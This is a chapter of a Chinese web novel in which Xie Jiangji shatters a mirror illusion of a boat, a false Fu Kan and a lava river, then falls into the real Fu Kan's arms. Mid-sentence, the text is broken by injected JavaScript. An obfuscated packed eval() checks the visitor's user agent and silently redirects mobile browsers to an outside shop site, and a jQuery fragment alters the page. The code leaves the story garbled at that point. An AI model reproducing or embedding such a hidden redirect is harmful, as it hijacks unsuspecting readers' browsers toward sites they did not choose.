34.镜面
    周围暖和得不可思议,宛若躺进温暖柔软的怀抱,谢姜芨几乎要沉沉睡过去。雷声、雨声偶尔近在咫尺,偶尔远在天边,她在一片朦胧的睡意中恍惚想道:现在是什么时辰了?

    有冰冷的液体砸在脸上。她睁开眼,熟悉的湿冷自四周侵袭过来,温暖消失得无影无踪。头顶响起雨打船篷之声,宛如珍珠落地。谢姜芨揉了揉惺忪的睡眼,视线逐渐清明,发现自己竟置身于一艘摇摇晃晃的小船中。

    江面缭绕的烟雾顺着微风萦流而去,雨水落在江面,漾开朵朵涟漪。船夫立于船头,缓缓地拨弄船桨,口中高声唱着某首她耳熟能详的小调:

    “西湖美景!三月天诶!春雨如酒!柳如烟诶!”[1]

    谢姜芨:“……”

    她面色沉重地站起身来,戴上身旁摆着的斗笠。船家听见动静,回头看她:“有缘千里……客官,你醒啦。”

    船篷漏水,她的衣角早被雨水浸透,寒意蚀骨,冻得瑟瑟发抖。她将冻僵的手缩进袖子里,若无其事地问:“船家,和我同行之人呢?”

    “啊,那位公子啊,”船夫先是一愣,随即伸出一根手指,指了指天,“在上面呢。”

    谢姜芨顺着他指的方向抬头看去,只见视线艰难触及的高峰险峻之处,落下翅膀翩飞的投影。它与云朵漂浮而过的影子重叠,一时之间极难分辨。

    她眯了眯眼,正欲将那装X如风的人看仔细点,突然一股狂风袭来,船夫猛地一踩船头,那句“手难牵”调顿时跑到了千里之外。谢姜芨眼疾手快地扶住船舱门,刚刚站稳身子,就见某人一袭白衣缓缓降落,脚尖刚点上船,咆哮的大风就瞬间停住,晃动的船身也平稳下来。

    翅膀投下的阴影收拢,阴沉的天色显露出来。

    一只手轻轻托住了她:“小心。”

    两岸的高山与碧绿的江水与雨雾配合着,在白色的长袍上映照出一层朦胧的青绿,她低着头站稳,眼前那块剔透的玉牌微微晃动。

    她借着他的力站稳,心中思绪翻涌,一时拿捏不准,只得在二人凑近的那刻低声说道:“这里不对劲。”

    傅堪不明所以:“怎么了?”

    她将方才发生过的事情简短说了一遍,却见傅堪皱起了眉毛,眉宇间凝了不解之色:“……大船?”

    他面色凝重地提了提袖子,声音中充满着十足的不确定:“我们吗?”

    谢姜芨一脸奇怪地回望过去:“……不然呢?”

    一只黑猫从他身后探出头来,头毛乱乱的,大概是刚刚睡醒:“你睡糊涂啦?我们哪来的钱坐什么大船?”

    她正要说话,发现傅堪早已面如土色:“你何时……”

    “刚才你飞天的时候我就在了,”玲珑笑眯眯的,摇头晃脑一圈,捋了捋不存在的胡子,高深莫测道:“一览众山小哇。”

    傅堪当即就要把肩膀上的小猫甩出去,船又摇晃起来,船夫“哎哟哎哟”地一边划桨一边无济于事地挥手阻止。谢姜芨看着这一出猫飞狗跳的戏码,头疼地揉了揉眉心:“黑乌鸦呢?”

    玲珑忙里偷闲地露出半个脑袋,大吼道:“被我扔水里喂鱼了!”

    谢姜芨悬着的心放下去一点,终于有一件事与她的记忆重叠了——

    “嘎!”

    她僵着头朝声源看去,只见碧绿的江水中,有一小撮湿漉漉的黑毛起起伏伏,信鸦怨念的眼神死死盯着上蹿下跳的玲珑,时不时“嘎嘎”两声以表抗议。

    它竟就这么跟着他们游了大半程片江水。

    ……莫非真是她睡糊涂了,做了个怪梦?

    小船顺着风向缓慢行驶,水天之际遥不可及,似乎总是隔着长长的距离,永远也到不了彼岸。

    水雾凝结得愈发浓稠了,谢姜芨面色凝重地看了一眼平静的湖面,随即转头对着船夫,若无其事地问道:“请问船家方才唱的是什么曲子?”

    船夫愣了一下,解释道:“这是客官您刚才睡梦中哼的,我听着怪好听的,也好记,就顺嘴唱了。”

    她一脸怀疑地回过头,互相抓着脸龇牙咧嘴的两只同时收了爪子,不约而同地向她点了点头。

    谢姜芨:“……”

    船家笑着转回身,激荡的唱腔在水面上回荡:“西湖水——我的泪——”

    在他彻底背对的那刻,谢姜芨脸上僵硬的笑容终于挂了下来。

    傅堪从身后单手扶住她的肩膀,力度不轻不重:“怎么了?是做噩梦了吗?”

    谢姜芨看了一眼肩上的手。

    骨节分明,手指修长,苍白得毫无血色,如雪一样冷。她伸手覆上,感受到掌心的指节微微蜷缩,顺势而握,牵着他回到船舱坐下。

    船舱里也全是潮湿的水汽,雨滴不断从缝隙中渗下,傅堪伸出一只手替她挡住落在膝上的雨水,单边的翅膀自身后环绕,抵挡舱门门隙中钻进的寒风。

    “等渡过了江,就到家了,”相牵的手渐渐回暖,她摩挲着他嶙峋的骨节,语气宛如初见时的轻柔,“等找到解毒的方法,我们就先安定下来……”

    傅堪低声说好,脸颊贴上她的头顶,另一只手拨开她额前湿透的碎发,理了理。

    她轻声笑了,傅堪落下的宽大手掌包裹住她,暖意逐渐渡过来,心跳却蓦地停了一拍,席卷全身的寒意蔓延至心脏,她另一只手不自觉地牢牢抓住他的衣袖,面上仍是温柔缱绻的笑意,脑内对系统冷声道:“系统,查询好感度。”

    一阵“哔——”的嘈杂忙音后,系统汇报道:

    【现在为您查询好感度,请宿主稍等。】

    【系统正忙,请宿主稍等。】

    【现在开始为您查询……】

    它语速时快时慢,偶尔卡壳,一句话说得颠三倒四,还夹杂着忽高忽低的电流声,刺得她耳朵生疼。

    【傅堪好感度:95%。恭喜宿主,攻略即将完成,请宿主——】

    话未说完,谢姜芨猛地抽出手,金线即刻自指尖飞出,倏忽聚拢,连一丝停顿也无,飞速地向傅堪而去。后者神色淡淡,他只轻轻抬了抬眼,那金光在即将刺中他的瞬间停下,像是狠狠扎进了某个看不见摸不着的墙面。

    下一秒,清脆的碎裂声响起,眼前的景象以金线为中心飞速割裂,裂痕向四面八方急速蔓延,那如美玉一般脸随着裂缝分割成数十块,精致的五官扭曲,表情狰狞,一项漆黑深邃的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114909|148701||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    双瞳抬起,哀哀地看了她一眼……竟流下两行血泪。

    谢姜芨心中大骇,往后疾退,却一脚踩到了某条柔软的尾巴。

    玲珑面无表情地抬头看她,幽绿的瞳孔被血红色覆盖:“你踩到我了。”

    她的声音不断重叠回荡,就像有千万个尖锐的嗓子在同时嚎叫,字字重叠,听不真切。谢姜芨猛然抬手,金线飞速割开眼前的幻想,它的面容也如碎镜般裂开,尖锐的叫声响彻云霄,无形的空气形成剧烈摇晃的波纹。她抬眼望去,船夫早已停止拨弄船桨,立于船头无声地注视着她。

    小船周围,细碎的裂痕布满了整个江面,有一道裂痕宛如闪电,从天际的尽头飞速冲来,江面终于不堪重负,顺着那裂痕分成两半,露出底下的样貌——

    岩浆。

    岩浆不断翻滚,喷薄出滚烫的热气。“傅堪”从船舱里走出来,血泪浸湿了他的衣襟,他的嘴角竟还噙着笑意,但那笑意很冷,大概在岩浆里翻滚几万遍也不会升起一点温度。

    “跳下去,”他的声音机械,“跳下去,就能逃走了。”

    玲珑跟在他身后,好整以暇地舔了舔爪子:“跳下去。”

    江面被岩浆烤得沸腾,无数鱼类从底部跳出,在空中翻滚,随后砸在碎裂的镜面上,翻着眼白看她。

    “跳下去。”

    它们异口同声地说道,声音整齐得令人毛骨悚然,带着江水深处潮湿阴冷的诡谲腥气。

    谢姜芨将被风吹乱的发丝理到耳后,心觉这泰坦尼克号的情节实在是有些不浪漫,热浪拂面,她看着翻滚沸腾的岩浆,了然地笑了。

    她回头,深深地向着傅堪看了一眼,随即头也不回地往后一倒——

    在她身体即将落入缝隙的瞬间,那自指尖传出的金线立即织成细密结实的网笼罩住了她,位于中间的绳结化为坚不可摧的箭头,直直地砸向了岩浆中心——

    虚假的岩浆再度碎裂,它仍是一面镜子。

    它碎裂的速度非常快,自深处发出一声震耳欲聋的咆哮,谢姜芨被丝网裹着飞速下坠,却不觉滚烫,风声在耳边呼啸,她艰难地睁开眼,看见了漂浮着的柔软云朵。

    软得不可思议。

    她继续下坠,穿过云层,一双手牢牢接住了她。巨大的翅膀在视野中张开,那人颈间凸起青筋,侧脸轮廓如刀削般凌厉,乌黑的长发随风而舞,不时掠过她的脸颊。

    她贴着他的胸膛,清楚地听见如鼓的心跳声。那淡漠的双瞳垂下,与她对视,一抹极淡的血色自瞳孔中央渗出。

    “你是谁?”

    抱着她的手有逐渐松开的趋势。

    傅堪眉心皱起,理智尚存,像是要从她脸上看出什么端倪。谢姜芨咬牙,一把拉住他的衣领向下一扯,另一只正欲割开掌心,膝下的手骤然收紧。

    她被他的力气带着往怀中靠了靠,动作的手自然停下来。

    她看见傅堪脸上的痛苦如水般逝去,露出一丝如释重负后的清明。

    像是失而复得一般。

    脸侧紧贴的胸膛微颤,传递出清冷的嗓音,带着一丝转瞬即逝的欣喜:

    “你比我想象的出现得慢了点。”